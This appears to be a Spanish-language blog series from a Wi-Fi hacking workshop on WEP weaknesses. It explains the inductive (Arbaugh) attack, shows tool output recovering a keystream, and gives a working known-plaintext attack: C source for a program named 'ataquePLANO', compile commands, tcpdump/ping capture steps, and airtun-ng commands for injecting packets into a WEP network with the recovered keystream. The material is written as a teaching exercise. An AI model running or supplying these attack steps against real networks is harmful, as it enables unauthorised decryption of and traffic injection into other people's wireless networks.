-> Byte num. 26 Candidato B2    keystream 23    byte cifrado: EB   byte decode C8 <--- IP  ORIGEN (decimal 200)
-> Byte num. 27 Candidato 5E    keystream 1B    byte cifrado: 1B   byte decode 00 <--- MAC DESTINO
-> Byte num. 28 Candidato C5    keystream A0    byte cifrado: A0   byte decode 00 <--- MAC DESTINO
-> Byte num. 29 Candidato DC    keystream FB    byte cifrado: FB   byte decode 00 <--- MAC DESTINO
-> Byte num. 30 Candidato DD    keystream 1E    byte cifrado: 1E   byte decode 00 <--- MAC DESTINO
-> Byte num. 31 Candidato CB    keystream 9B    byte cifrado: 9B   byte decode 00 <--- MAC DESTINO
-> Byte num. 32 Candidato DB    keystream 2F    byte cifrado: 2F   byte decode 00 <--- MAC DESTINO
-> Byte num. 33 Candidato 17    keystream 99    byte cifrado: 93   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 34 Candidato BD    keystream 2C    byte cifrado: 26   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 35 Candidato CB    keystream F5    byte cifrado: FF   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 36 Candidato 9D    keystream 65    byte cifrado: AC   byte decode C9 <--- IP  DESTINO (decimal 201)
-> Byte num. 37 Candidato B0    keystream 37    byte cifrado: 7A   byte decode 4D <--- ICV CRC32
-> Byte num. 38 Candidato 02    keystream 93    byte cifrado: FB   byte decode 68 <--- ICV CRC32
-> Byte num. 39 Candidato 4C    keystream E7    byte cifrado: 21   byte decode C6 <--- ICV CRC32
-> Byte num. 40 Candidato 4E    keystream 66    byte cifrado: 0F   byte decode 69 <--- ICV CRC32

Tipo ARP:    REQUEST
MAC ORIGEN:  00 17 9A C3 D6 B9
IP ORIGEN:   10.10.10.200.
MAC DESTINO: 00 00 00 00 00 00
IP DESTINO:  10.10.10.201.
Parámetros WEP
**************
         IV completo: F3 6F 00 00
         Num de KEY usada: 00

keystream;
F3 6F 00 00  E1 99 BB 7C  1F E4 E8 7D  54 0E E7 35
FE 5C 65 A6  1F D8 86 F4  CC 9C 4D 44  CF 23 1B A0
FB 1E 9B 2F  99 2C F5 65  37 93 E7 66

Duración del ataque: 20 segundos

Taller_WiFi src #
Taller_WiFi src #

Como ves, 20 segundos!!!! que frente a los 13 minutos del anterior... pues como mejor programado :D

En el código fuente del mismo tienes todos los comentarios necesarios para comprender cómo funciona y por qué es tan rápido.

Que lo disfrutes.

No vamos a menospreciar al “lento”, nos vendrá muy bien cuando nos toque WPA y queramos hacer algo similar, con WPA la cosa cambia porque los IV’s no se pueden/deben reutilizar, se controla la integridad del mensaje y el punto de acceso puede tomar “contramedidas” y obligar a todos los clientes a renegociar las llaves por lo que el ataque no puede continuar, todo llegará.

Ahora, un detector, para el siguiente post.


By Vic_Thor

VULNERABILIDADES WEP. PARTE III. TEORÍA (I)

0

Posted by Star | Posted in | Posted on 22:51

Ataque Inductivo.

El ataque inductivo (también conocido como ataque Arbaught) consiste en la generación parcial de paquetes 802.11 que son enviados al punto de acceso con la esperanza de que uno de ellos sea correcto y a partir del mismo ir generando el keystream del paquete cifrado original y por consiguiente conseguir descifrarlo.

Cuando digo punto de acceso debería decir Sistema de Distribución, pero vamos, es una forma "mas coloquial" :D

Esta generación “parcial” no debes confundirla con el ataque de fragmentación, pues si bien se envían “fragmentos” de un paquete, no se trata del mismo tipo de ataque.

El ataque inductivo será capaz de descifrar cualquier paquete de datos cifrado original y lo realiza desde “el principio hasta el final”, es decir, avanza progresivamente byte por byte desde el comienzo (o desde la posición que elijamos) hasta el último byte del paquete cifrado original.

Otros ataques (luego los veremos) como chopchop hacen algo similar pero descifran “a la inversa”, esto es, comiernzan de “atrás hacia delante”, desde el último byte del paquete cifrado original hasta el primero.

Además, ya veremos luego también, se puede combinar con otras ténicas como el “bit-flipping” para lograr el objetivo, que a la postre y en todos los casos de este tipo de ataques, son:
    * Descifrar un paquete de datos original WEP * Obtener un keystream para poder descifrar otros * Obtener un keystream para poder inyectar nuevos paquetes a la red
Es muy importante que comprendamos bien el funcionamiento del ataque inductivo porque muchos otros usan la misma técnica (o parecida como chopchop) es muy fácil de entender (y difícil de explicar, a ver si lo consigo), veamos:

El atacante parte del hecho que puede generar un paquete en texto plano conocido, este paquete no estará completo, puesto que el atacante desconoce muchos parámetros necesarios para poder inyectarlo, el atacante desconoce:
    * La clave WEP (obvio porque en otro caso todo esto no es necesario) * El contenido original del paquete en texto plano (lógico también) * El keystream original (por lo mismo de los dos anteriores) * Las direcciones IP’s de la red (como no conoce el texto plano original, el atacante no puede generar paquetes propios en texto plano con las direcciones de red adecuadas)
Pero el atacante puede conocer partedel texto plano de un paquete cifrado con WEP!!!

Cómo???? Estás seguro?????

Sí.. El atacante mas que conocer, puede “reconstruir” parte de un paquete de datos en texto plano equivalente al paquete de datos cifrado.

De hecho, el atacante tiene una ventaja muy, muy interesante… como ya sabemos, un paquete 802.11 comienza siempre en sus 6 primeros bytes por la cabecera SNAP

Y esto sí lo conocemos!!!!


  Código:
AA AA 03 00 00 00 si no hay spannig-tree 42  42   03 00 00 00 con spanning-tree en la red.


Además, ya dijimos que un atacante puede “asumir” que determinados paquetes son de un determinado tipo u otro atendiendo a su tamaño, por ejemplo, los paquetes del tipo ARP son:
    68 bytes de longitud si no hay QoS 70 bytes de longitud si hay QoS
También es posible conocer el tamaño de otros paquetes interesantes, DHCP, TCP-SYN, etc.. estos paquetes suelen tener también un tamaño fijo y no son complicados de elaborar.

Para mayor sencillez en las explicaciones vamos a usar un ARP.

Un paquete ARP en una trama de datos 802.11 tiene esta forma

Imagen

De estas 4 partes, nos interesa sólo la zona de DATOS.

Asumiendo que se tratase de un paquete ARP, podemos reconstruirlo (aproximadamente) así:

Imagen

Los datos que están reslatados en verde serán siempre los mismos para cualquier paquete ARP, los conocemos SEGURO por lo que los primeros 15 bytes cifrados podemos obtener su keystream.

Los bytes resaltados en amarillo son desconocidos, pero podemos “intuirlos” o pocas son sus variaciones, por ejemplo:

El byte 16 (la primera XX en amarillo) sería:

    01 Si es un Request (Solicitud ARP) 02 Si es un Response (Respuesta ARP)
(nos olvidamos de RARP, asumimos que no existe)

Los bytes correspondientes a MAC ORIGEN Y/o MAC DESTINO también los podemos “intuir” observando la cabecera 802.11 que te recuerdo no está cifrada, aunque existe un problema:
    Si se tratase de un ARP Request MAC DESTINO debería ser 00 00 00 00 00 00 Si se tratase de un ARP Response Target MAC será la mac de quien originó la solicitud.
Como no sabemos si es un ARP REQ o un ARP RSP, pues no podemos determinarlo a ciencia cierta.

Los bytes en Rojo, son TOTALMENTE DESCONOCIDOS por el atacante.

Por tanto, si quiesiéramos realizar un ataque inductivo de este paquete, lo mejor será comenzar por el byte 16 (que es el primero que desconocemos, el primero de la zona amarilla).

En total, los datos cifrados son: 36 bytes para datos y 4 para el ICV, de los cuales conocemos 15.

El tamaño completo de la trama “a buscar” sería:


  Código:
24 bytes para la cabecera 80211 (ó 26 si hay QoS) 4  bytes para IV 36 bytes de datos (ARP) 4 bytes para el ICV Total: 24 + 4 + 36 + 4 = 68 bytes total de la trama sin QoS Total: 26 + 4 + 36 + 4 = 70 bytes total de la trama con QoS

Lo que debemnos hacer es lo siguiente:

1.- Generar una cabecera 802.11 válida, esto no ofrece dificultad alguna puesto que esa información siempre se transmiten en texto plano y podemos manipularlos como si tal cosa.

Esta cabecera incluirá:

Un Frame control de tipo 08 41 (trama de datos normal con el bit toDS activado y bit wep activado)

Una duración: XX XX, la que queramos

Las MAc’s destino-origen y BSSID, las que queramos y/o acordes a la red en la que nos movemos, tampoco es difícil puesto que las obtenemos en claro.

Un número de secuencia: XX XX el que queramos

Total cabecera 802.11 = 2 + 2 + 18 + 2 = 24 bytes de cabecera (sin QoS)

2.- Añadimos el IV original del paquete capturado (4 bytes)

3.- Añadimos los primeros 15 bytes (la zona verde del paquete ARP) que se corrsponden a lo que el atacante conoce SIEMPRE

4.- Hacemos XOR de los 15 primeros bytes del paquete cifrado original con los 15 bytes del paquete en texto plano que ya conocemos, y obtenemos un keystream para esos primeros 15 bytes.

5.- Se calcula un ICV para estos 15 bytes conocidos (4 bytes)

Por el momento tenemos que el total de nuestra trama es:

24 de cabecera 802.11 + 4 IV + 15 Datos + 4 ICV = 47 bytes

6.- Enviamos una trama con 15 bytes – 3 = 12 bytes de datos y le añadimos el ICV -1 byte

Por tanto, enviamos:

24 de cabecera + 4 del IV + 12 bytes de datos + 3 icv = 43 bytes

A esta operación le iremos añadiendo un byte al final (el del icv) por cada una de las combinaciones posibles (desde 0 a 256, desde 0x00 a 0xFF) y observamos si hay respuesta, si “acertamos” la estación o el Punto de acceso lanzará el paquete y deducimos que hemos acertado.

Si no hay respuesta, probamos un nuevo valor, así hasta el 256.

7.- Una vez obtenida la respuesta, sabremos cual es el byte correcto para la última posición (la 16), ese byte “adivinado” será el keystream para el byte cifrado número 16, por lo que si hacemos XOR tendremos su valor en plano (y según el ejemplo, ya sabremos si es un ARP REQ o RESP).

8.- Repetimos todo el proceso desde el paso 3, sólo que ahora en lugar de tomar los primeros 15 bytes, tomamos los primeros 16 (este último lo descubrimos en el paso 6 y 7) y obtendremos el byte 17,

Si repetimos esta operación para todos y cada uno de los bytes de datos cifrados, obtendremos la totalidad del paquete descifrado y una keystream que nos permitirá reinyectar o cifrar/descifrar otros nuevos.

Resumiendo, el ataque inductivo se basa en que al conocer “parte” del texto plano de un paquete cifrado, podemos ir calculado su ICV y probando a enviar “partes” del mismo alterando el último byte.

Te pongo una figura que ayuda MUCHO a entender todo esto:

Imagen

Por cada una de las “tandas de comprobación de los 256 bytes” deberíamos obtener al menos una respuesta correcta!!! Cuando esto ocurra, hacemos:

Imagen

De este modo ya tenemos el keystream, el texto plano y el byte cifrado (este último ya era conocido) del byte número 16.

Si te fijas, antes dije:

Por cada una de las “tandas de comprobación de los 256 bytes” deberíamos obtener al menos una respuesta correcta!!!


Presta atención a las palabras “deberíamos” y “al menos una respuesta

“Deberíamos” porque nadie nos asegura que no haya errores en la transmisión, o que el punto de acceso al recibir muchos paquetes inválidos antes del bueno emita desautenticaciones, etc… por eso “deberíamos”.

“al menos una respuesta” porque puede haber mas, tampoco nadie nos asegura que otras estaciones utilicen este mismo IV y provoquen resultados “similares” o iguales a los esperados.

Y qué pasa si ocurre alguna de estas “cosas”???

Qué ocurresi no obtenemos respuesta o si la respuesta es un falso positivo???

Pues que “el siguiente” byte a descifrar será erróneo y no producirá respuestas y/o resultados, de eso nos daremos cuenta cuando tras probar las 256 combinaciones posibles no obtenemos nada...

Entonces???

Entonces lo que hay que hacer es repetir, pero no hace falta empezar desde el primero, por ejemplo, si esa circunstancia se da en el byte número 27, repetimos todo el proceso desde el 26 (el último que se consiguió)

Y si falla en el primero, para nuestro ejemplo en el 15????

Pues no podemos seguir, el ataque debe finalizar y probar de nuevo, esta vez sí, desde el principio.

El caso es que si todo va bien y no encontramos “inconvenientes” la operación se repite para el byte 16, 17, 18, etc… así hasta el último.

Para nuestro ejemplo sonl 36 de datos + 4 del ICV = 40

VULNERABILIDADES WEP. Parte II. Práctica

0

Posted by Star | Posted in | Posted on 22:49

Ataque de Texto plano

Antes de nada, el atacante debe "preparar" un archivo ping_plano.cap con destino al equipo víctima (10.10.10.200)

Para ello, vamos a usar tcpdump y luego enviar el ping.

Ponemos tcpdump "a la escucha" abrimos una shell y escribimos:

Código:
tcpdump -i eth0 -p icmp[icmptype]=icmp-echo -w ping_plano.cap -s 0


Esto deja a tcpdump escuchado por la interface eth0 a la espera de un paquete icmp echo (un ping) y cuando lo reciba, guardará el/los paquetes capturados en el archivo ping_plano.cap

La opción –s 0 (cero) es importante puesto que en caso contrario tcpdump sólo captura los primeros 96bytes de cada paquete y a nosotros nos interesa capturarlo completo, sobre todo si enviamos un ping de 1300 bytes, por ejemplo.

En otra shell, el atacante envía un ping a la víctima, sólo uno (no necesitamos mas) y del tamaño que nos de la gana, en principio lo enviamos del tamaño "estándar" 64 bytes, luego haremos un ping de tamaño mayor para obtener un keystream mas grande y poder descifrar cualquier paquete.


  Código:
ping 10.10.10.200 -i eth0 -c 1


Si todo ha ido bien, deberemos tener un archivo llamado ping_plano.cap en el directorio donde está escuchando tcpdump, ese archivo (si no lo está ya) debemos copiarlo al directorio donde ejecutaremos nuestro programa de ataque de texto plano, y por supuesto, ya podemos parar tcpdump

Te pongo las pantallas:

Imagen

Veamos ese paquete capturado

Imagen

Vale.

Ahora que tenemos el archivo, ya podemos ejecutar nuestro programa. Pero antes hay que aclarar algo,

Nosotros hemos enviado esto:

Imagen

Están resaltados justamente los dos bytes siguientes a la cabecera ethernet.

Recordáis lo de la cabecera SNAP y LLC??? Si es que para algo se explicó entonces :D

Nuestro paquete ethernet (según tcpdump y/o whireshark) tiene un tamaño de 98 bytes, PERO cuando el punto de acceso envie ese paquete no será así.

El punto de acceso eliminará la cabecera ethernet (Mac destino y mac origen) que son los 12 bytes del principio del paquete ethernet (lo que hay a la izquierda de los bytes resaltados)

En su lugar colocará la cabecera MAC, que serán algo así:

Imagen

Bueno, podrían ser 26 si hay QoS, ya sabes...

Luego añade el IV + la cabecera SNAP/LLC

Imagen

ESOS 08 00 son precisamente los mismos dos bytes que están resaltados en la captura del esnifer!!!! Estos son IP!!!!

Recuerda lo de la cabecera SNAP/LLC!!! Puesto que formarán parte del paquete de datos cifrado y del keystream que obtengamos = ESTO es IMPORTANTÍSIMO!!!!

Después le añade el resto del paquete, es decir 84 bytes y finaliza con el ICV (el CRC32 de los bytes en texto plano, desde la cabecera SNAP hasta el final) este ICV son 4 bytes.

Por tanto, el paquete a transmitir por el punto de acceso al cliente inalámbrico es:

Imagen

Y repito de nuevo: IMPORTANTÍSIMO!!!!!

Los bytes de datos cifrados comienzan en la posición +28 hasta el final -4 (124 del tamaño total – 4 del ICV)


  Código:
Total del tamaño de datos cifrados = 124 - 28 - 4 = 92 bytes cifrados


DESDE la CABECERA SNAP/LLC (incluida) hasta 124 – 4!!!!

En este ejemplo asumimos que no hay QoS, si lo hubiese serán dos bytes mas en el tamaño total del paquete (124+2=126) pero los datos serían LOS MISMOS, sólo que comenzarían en la posición +30 hasta 126 – 4.

Por tanto, cuando analicemos los paquetes desde nuestro programa, tenemos que buscar uno que cumpla estos requisitos:
    a.- Que sea un paquete de datos (byte 0 debe ser 08 ó 88 si hay QoS) b.- Que sea un paquete fromDS (byte 1 debe ser 0x42, ya veremos) c.- Que el bit wep está activado (byte 1 debe ser 4x, ya veremos) d.- que la mac destino sea la del cliente (bytes 4 al 9) e.- que la mac del punto de acceso sea el correcto (bytes 10 a 15) f.- que la mac origen sea la de la tarjeta ethernet (bytes 16 al 21) g.- que el tamaño total del paquete sea 124 bytes ó 126 si hay QoS.
Si se cumplen todas estas condiciones, estamos casi seguros que el paquete que capturemos por la interface Wifi es el paquete que el punto de acceso ha cifrado para enviarlo al cliente.

Si en lugar de ese tamaño hubiésemos usado otro de tamaño "especial" por ejemplo uno de 173 bytes estaríamos seguros (digo de 173 como podía haber dicho 191, 211, 151, 995, 1133, etc…) porque los números impares no son "habituales", siempre se usan números pares… pero bueno, esa es otra historia, con las comprobaciones dichas antes, mas que suficiente para tener prácticamente un 100% de probabilidad que es el "nuestro"

Una vez que lo tengamos, solo nos falta hacer un xor del paquete enviado con el cifrado y ya tenemos un keystream válido para el IV que se esté usando.

Y otra vez…. IMPORTANTÍSIMO, para hacer el XOR debemos añadir a nuestro paquete en texto plano la cabecera SNAP (AA AA 03 00 00 00 ) aquí no hace falta incluir el 08 00 puesto que ya lo tiene.

Es decir, nuestro paquete en texto plano sería:


  Código:
AA AA 03 00 00 00 08 00 45 00 ...... 35 36 37


OBSERVA que la cabecera MAC de ethernet NO SE INCLUYE COMO DATOS!!!!

Y HAY QUE HACER XOR DE LO QUE CAPTUREMOS +28 HASTA 124 -4

Imagen

Bueno, ha sido muy, muy pormenorizado todo, pero es que si no vamos entendiendo bien esto, otros ataques se nos van a atragantar....

Ahora vamos al programa.

Utiliza la funciones de costumbre: read_packet, dump_packet y send_packet (esta última no se usa)

Además estas otras:

Función main
    * Comprueba el paso de parámetros * Prepara la interface wifi para enviar/recibir paquetes * llama a la función captura_datos_ethernet * llama a la función envia_datos_ethernet * llama a la función captura_datos_wifi * realiza las operaciones XOR pertinentes * graba el archivo ping.xor con su IV, esto es el keystream. * muestra los resultados por pantalla para comprobar que funcionó
Función captura_datos_ethernet
    * El cometido de esta función es abrir el archivo ping_plano.cap que deberemos tener con anterioridad, eliminando la cabecera pcap y lo almacena en un array llamado ethernet, estos serán los datos en plano de ethernet.
Función envia_datos_ethernet
    * Su cometido es abrir un RAW socket y lanzar por el cable el contenido del array ethernet que completamos en la función anterior, también comprueba que se pudo enviar correctamente.
Función captura_datos_wifi

Esta función se encarga de capturar el paquete que el punto de acceso ha debido cifrar para el cliente, es decir, nuestro ping enviado desde la interface ethernet convertido a 802.11 y cifrado con WEP.

Aquí es donde realizamos las comprobaciones de tamaño, fromDS, MAC’s, wep, etc.. las que hablábamos antes.

También en esta función se escribe en el disco un archivo llamado ping_cifrado.cap que es el contenido completo del paquete cifrado.

Para nuestro Taller nos interesan sobre todo el contenido de la función main y de la función captura_datos_wifi, puesto que son donde se realiza de verdad el ataque del tipo texto plano.

Contenido de la función main()

int main( int argc, char *argv[] ) // inicio del programa
{
    int caplen=0;
    int bb,z;

//Comprueba el paso de parámetros
   if( argc != 2 ) {
       printf("\nUso: ataquePLANO interface\n\nEjemplo: ataquePLANO wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */

   setuid( getuid() );

/* Leemos el paquete de Datos de pring_pano.cap*/

memset (ethernet,0,1500);
if (captura_datos_ethernet() !=0) exit(1); //Comprobamos que hay un paquete .cap de ethernet

/* Enviamos ping_plano (guardado en ethernet[1500]) por la red de cable */

if (enviar_paquete_ethernet () !=0 ) exit (1); // si hubo algún error al enviarlo, fin de programa.

/* Capturamos el paquete desde la interface Wifi */

while(captura_datos_wifi(&caplen) !=0 ) {}

// Ahora en ethernet[] tenemos el paquete en texto plano y en h80211[] tenemos el paquete cifrado

z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; // z es 30 si es un paquete WDS (toDS=1 FromDS=1), si no será 24

if( (h80211[0] & 0x80) == 0x80) z+=2;   // si es un paquete QoS z se incrementa en 2 bytes

// Volcamos el paquete cifrado para observar su contenido
printf ("\nDatos del Paquete cifrado");
dump_packet (paquete_cifrado+z+4,caplen - z -4 -4); // a caplen le restamos la cabecera MAC (z) 4 de IV y 4 de ICV

/* Obtenemos el keystream mediante XOR entre el paquete en texto plano y el paquete cifrado

El keystream se debe obtener de los datos cifrados y de los datos en texto plano
El paquete en texto plano lo tenemos en ethernet[] y el cifrado en paquete_cifrado[]
Para que todo "encaje":

   * ignorar los primeros 12 bytes de la cabecera ethernet II correspondientes a MAC destino y MAC origen
   * Luego tamaño de ethernet - 12 = tamaño de los datos cifrados
   * incluir al principio del keystream los 4 bytes correspondientes a los parámetros WEP IV
   * Añadir los 6 primeros 6 bytes de la subcapa LLC.en ethernet
   * hacer xor para obtener el keystream
   * añadir al final los 4 bytes correspondientes al ICV
   * Salvar ese keystream
*/

unsigned char mi_XOR[1500],mi_PLANO[1500], nuevo_ethernet[1500];

// nuevo ethernet será lo mismo que ethernet pero con la subcapa LLC al inicio!!!

#define mi_llc_snap "\xaa\xaa\x03\x00\x00\x00"

// tamano es el tamaño del paquete ethernet, caplen es el tamaño del paquete 802.11
// tamano menos 12 (que son los bytes de las direcciones mac ethernet) y le sumamos 6 (subcapa LLC) y lo
// comparamos con caplen restando z (que es el tamaño de la cabecera MAC 802.11), menos 4 (tamaño del IV) -4 (Tamaño del ICV)
// si tras esa operación no son los mismos valores, no se hace XOR y el programa termina.

if (tamano -12 + 6  != caplen -z -4 - 4 ) {

   printf ("\n\nEl tamaño de los datos en texto plano (%i bytes) no se corresponde con el"
      " tamaño de los datos cifrados (%i bytes) \n\n"
      "Generación del keystream abortada.\n\n",tamano -12, caplen -z -4-4);
   exit (1);
   }

// Copiamos a nuevo_ethernet la subcapa LLC
memcpy (nuevo_ethernet, mi_llc_snap, 6);

// Copiamos a nuevo_ethernet el resto del paquete ethernet ignorando las mac destino y origen (ethernet +12)
memcpy (nuevo_ethernet+6, ethernet+12, 1500-12);

//añadimos el iV
memcpy (mi_XOR,paquete_cifrado+z,4);

// hacemos xor desde la posición z+4 (inicio de los datos cifrados) con los datos de nuevo_ethernet
// hasta alcanzar la longitud total del paquete 802.11 sin la cabecera (z) y sin contar los IV e ICV (-4-4)
// mi_XOR comienza a contar desde la pos.4 puesto que las anteriores las ocupa el IV de la línea anterior
// paquete_cifrado comienza en la posción +z+4 (cabecera mac + 4 para el iV)

for (bb=0;bb < caplen-z-4;bb++) mi_XOR[bb+4] = paquete_cifrado[bb+z+4]^nuevo_ethernet[bb];

// añadimos al final los 4 bytes del ICV
// bb cuenta la última posición de los datos y caplen-4 es la posición inicial del ICV
memcpy(mi_XOR+bb,paquete_cifrado+caplen-4,4);

// Volcamos el paquete keystream resultante del XOR para observar su contenido
printf("\nKeystream obtenido mediante XOR del paquete cifrado con el paquete en texto plano");
dump_packet (mi_XOR,bb+4+4);

// Comprobamos que todo funciona, volvemos a hacer XOR, pero esta vez usamos el keystream obtenido (mi_XOR)
// hacemos XOR con el paquete cifrado, que lógicamente nos tiene dar lo mismo que en el paquete en texto plano
// observa que no se hace xor de los primeros 4 bytes y de los 4 últimos!!! son los IV e ICV.

for (bb=0;bb
// Volcamos el paquete keystream XOR cifrado
printf ("\nPaquete plano resultante de cifrado XOR keystream calculado.");
dump_packet (mi_PLANO,caplen-z-4-4);

// Si volcamos el paquete nuevo_ethernet, el contenido de uno y otro deben ser IDENTICOS!!!!
printf ("\nPaquete nuevo_ethenet original (debe ser idéntico al volcado anterior)");
dump_packet (nuevo_ethernet,caplen-z-4-4);

// guardamos el keystream (prga) calculado... el que está en mi_XOR como ping.xor

FILE *f_cap_out;

if( ( f_cap_out = fopen( "ping.xor", "wb+" ) ) == NULL )
    {
        perror( "Error al abrir el archivo para escritura. ping.xor" );
        return( 1 );
    }

//    n = pkh.caplen + 8 - 24;
 
    if( fwrite( mi_XOR, caplen, 1, f_cap_out ) != 1 )
    {
        perror( "Error al escribir en el archivo ping.xor" );
        return( 1 );
    }

    fclose( f_cap_out );

printf ("\nListo!!! Guardado como ping.xor\n");

// ahora ya podemos usar ese keystream para enviar cualquier paquete a la red inalámbrica!!!!

return( 0 );
}

Función captura_datos_wifi

int captura_datos_wifi( int *caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap
{
    time_t tr;
    struct timeval tv;
    struct tm *lt;
    int n, z;
    long nb_pkt_read;
    FILE *f_cap_out;
    struct pcap_file_header pfh_out;
    struct pcap_pkthdr pkh;

    tr = time( NULL );
    nb_pkt_read = 0;

    signal( SIGINT, SIG_DFL );
 
    while( 1 )
    {
       
        *caplen = read_packet( h80211, sizeof( h80211 ), NULL );
   nb_pkt_read++;
   usleep(300);
   if (nb_pkt_read > 20) { // asumimos que al leer mas de 20 paquetes no hemos capturado el "bueno"
      printf ("\r*** Parece que no se ha capturado el paquete. Pulsa ctrl+c y repite *** \r");
      fflush( stdout );
      return (2);
      }
        if(*caplen <= 0) continue; // si la longitud no es válida

   if( (h80211[0] & 0x0C) != 0x08)    //Si no es un paquete de datos
           continue;

       // if( ( h80211[1] & 0x01 ) != 0x00 ) continue; // Si es ToDS

       if( ( h80211[1] & 0x02 ) != 0x02) continue; // Si no es FromDS

       if( ( h80211[1] & 0x40 ) != 0x40 ) continue; // si no es un paquete Wep activado

   if (h80211[16] != 0x00 && h80211[17] != 0x0a && h80211[18] != 0xcc) continue;

   z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; // z es 30 si es un paquete WDS (toDS=1 FromDS=1), si no será 24

   if( (h80211[0] & 0x80) == 0x80) z+=2;   // si es un paquete QoS z se incremente en 2
 
   /* Controlamos el paquete icmp. tamano es la longitud del paquete ethernet
      a ese valor (tamano):
      se restan 12 de la cabecera MAC ethernet II (MAC destino y MAC origen)
      se suman 6 de la subcapa LLC 802.11 (aa aa 03 00 00 00) o (42 42 03 00 00 00 para spanning-tree)
      se suman 24 de la cabecera MAC 802.11 (ó 26 si es una paquete QoS) --> z contiene este valor
      se suman 4 del IV de WEP
      se suman 4 del ICV
      total = tamano -12 + 6 + 24 + 4 + 4 para un paquete no QoS
      total = tamano -12 + 6 + 26 + 4 + 4 para un paquete QoS
      si ese total coincide con la longitud leída, se asume que es nuestro paquete enviado
   */

   if (*caplen == tamano - 12 + 6 + z + 4 + 4  ) {

      memset (paquete_cifrado,0,4096);
      memcpy (paquete_cifrado,h80211,*caplen);
      // printf ("\n\n");
      //dump_packet (paquete_cifrado,tamano - 12 + 6 + z + 4 + 4);

      break; // sale de while y procede a grabar el paquete leído en formato .pcap
   }

    }

// Grabamos el paquete leído (h80211) en el archivo ping_cifrado.cap

    pfh_out.magic         = TCPDUMP_MAGIC;
    pfh_out.version_major = PCAP_VERSION_MAJOR;
    pfh_out.version_minor = PCAP_VERSION_MINOR;
    pfh_out.thiszone      = 0;
    pfh_out.sigfigs       = 0;
    pfh_out.snaplen       = 65535;
    pfh_out.linktype      = LINKTYPE_IEEE802_11;
    lt = localtime( (const time_t *) &tv.tv_sec );
    f_cap_out=0;
    if( ( f_cap_out = fopen( "ping_cifrado.cap", "wb+" ) ) == NULL )
        {
            perror( "Error al abrir archivo de salida" );
            return( 1 );
        }
    printf( "Guardado como ping_cifrado.cap\n");
    n = sizeof( struct pcap_file_header );
    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
        {
            perror( "Error al escribur la cabecera pcap\n" );
            return( 1 );
        }

    pkh.tv_sec  = tv.tv_sec;
    pkh.tv_usec = tv.tv_usec;
    pkh.caplen  = *caplen;
    pkh.len     = *caplen;
    n = sizeof( pkh );

   if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
        {
            perror( "Error al escribir datos en la cabecera pcap" );
            return( 1 );
        }

    n = pkh.caplen;

    if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
        {
            perror( "Error al escribir el paquete" );
            return( 1 );
        }

     fclose( f_cap_out );
    return( 0 );
}

Del resto de funciones no voy a poner el código fuente en este post, se escapan al temario de este Taller y además, con las explicaciones dadas son fáciles de entender.

Lo puedes descargar de: http://www.megaupload.com/?d=YCGYVOUU

Se guarda en el directorio del código fuente de aircrack con el nombre ataquePLANO.c

Y se compila:
Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o ataquePLANO ataquePLANO.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude ataquePLANO.o common.o crypto.o -o ataquePLANO -Losdep -losdep   -lssl -lcrypto


Lo vemos en acción:

Imagen

Una vez obtenido el keystream (que si todo ha ido bien lo tendremos en el archivo ping.xor y podremos usarlo para inyectar paquetes en la red.

El keystream que disponemos es de tan sólo 92 bytes por lo que este será el tamaño máximo de los paquetes que podemos enviar, sin embargo, podemos obtener un keystream mas grande de una forma simple.

Como estamos usando un paquete icmp en texto plano para el "ataque" nos bastará con enviar un ping de mayor tamaño que el estándar.

Por ejemplo, podemos hacer esto,abrimos una shell y escribimos:


  Código:
tcpdump -i eth0 -p icmp[icmptype]=icmp-echo -w ping_plano.cap -s 0


En otra shell:


  Código:
ping 10.10.10.200 -i eth0 -c 1 -s 1423


Imagen

Esta pantalla de la estructura de un paquete icmp completo puede ayudar aún mejor a entender el encapsulado del paquete.

Imagen

Observa también, que hemos jugado con un número impar por aquello de que no son muy habituales, casi todas las tramas y paquetes de datos tienen un tamaño par, así será más fácil identificar nuestro paquete de datos cifrado, tendremos que "encontrar" un paquete de datos, con wep activado, fromDS y con un tamaño de 1497 (ó 1499 si hay QoS).

Ahora lanzamos nuestro programa como hicimos antes y si todo va bien obtendremos un keystream de 1469 bytes (4 del ICV + 1465 de datos cifrados)


  Código:
./ataquePLANO eth1


Con este keystream podemos enviar paquetes mucho mas grandes.

Para ello, nos vamos a apoyarnos de una de las herramientas de aircrack, esta es airtun-ng.

Esta pequeña maravilla permite usar un prga (un keystream) para enviar datos a la red inalámbrica, hace muchas otras cosas, pero esta es una de sus capacidades.

Antes de usar airtun-ng debemos cargar un móduulo para la interface tap (una interface "muda" y virtual) que usará airtun.

En una shell:


  Código:
modprobe tun


Luego lanzamos airtun-ng


  Código:
./airtun-ng -a 00:16:B6:41:03:5D -y ping.xor


donde 00:16:B6:41:03:5D debe ser la mac del punto de acceso y ping.xor el keystream "grande" que nos hemos fabricado.

Responderá que ha creado una intarface tap con el nombre at0 y que sólo la podemos usar para enviar tráfico...

Imagen

En otra shell:


  Código:
ifconfig at0 10.10.10.33 netmask 255.255.255.0 up


Y para que no haya "trampa ni cartón" hacemos:


  Código:
ifconfig eth0 down


Desactivamos la interface ethernet (qeu si recuerdas el atacante estaba conectado a la red wifi con ela, por eso digo "sin trampa ni cartón"), vemos como queda:

Imagen

Ahora podemos usar la interface at0 con cualquier herramienta para enviar tráfico directamente a la red, por ejemplo, podemos enviar un ping así:


  Código:
ping 10.10.10.200 -I at0


No recibiremos respuestas, pero los paquetes llegarán al destino.

Imagen

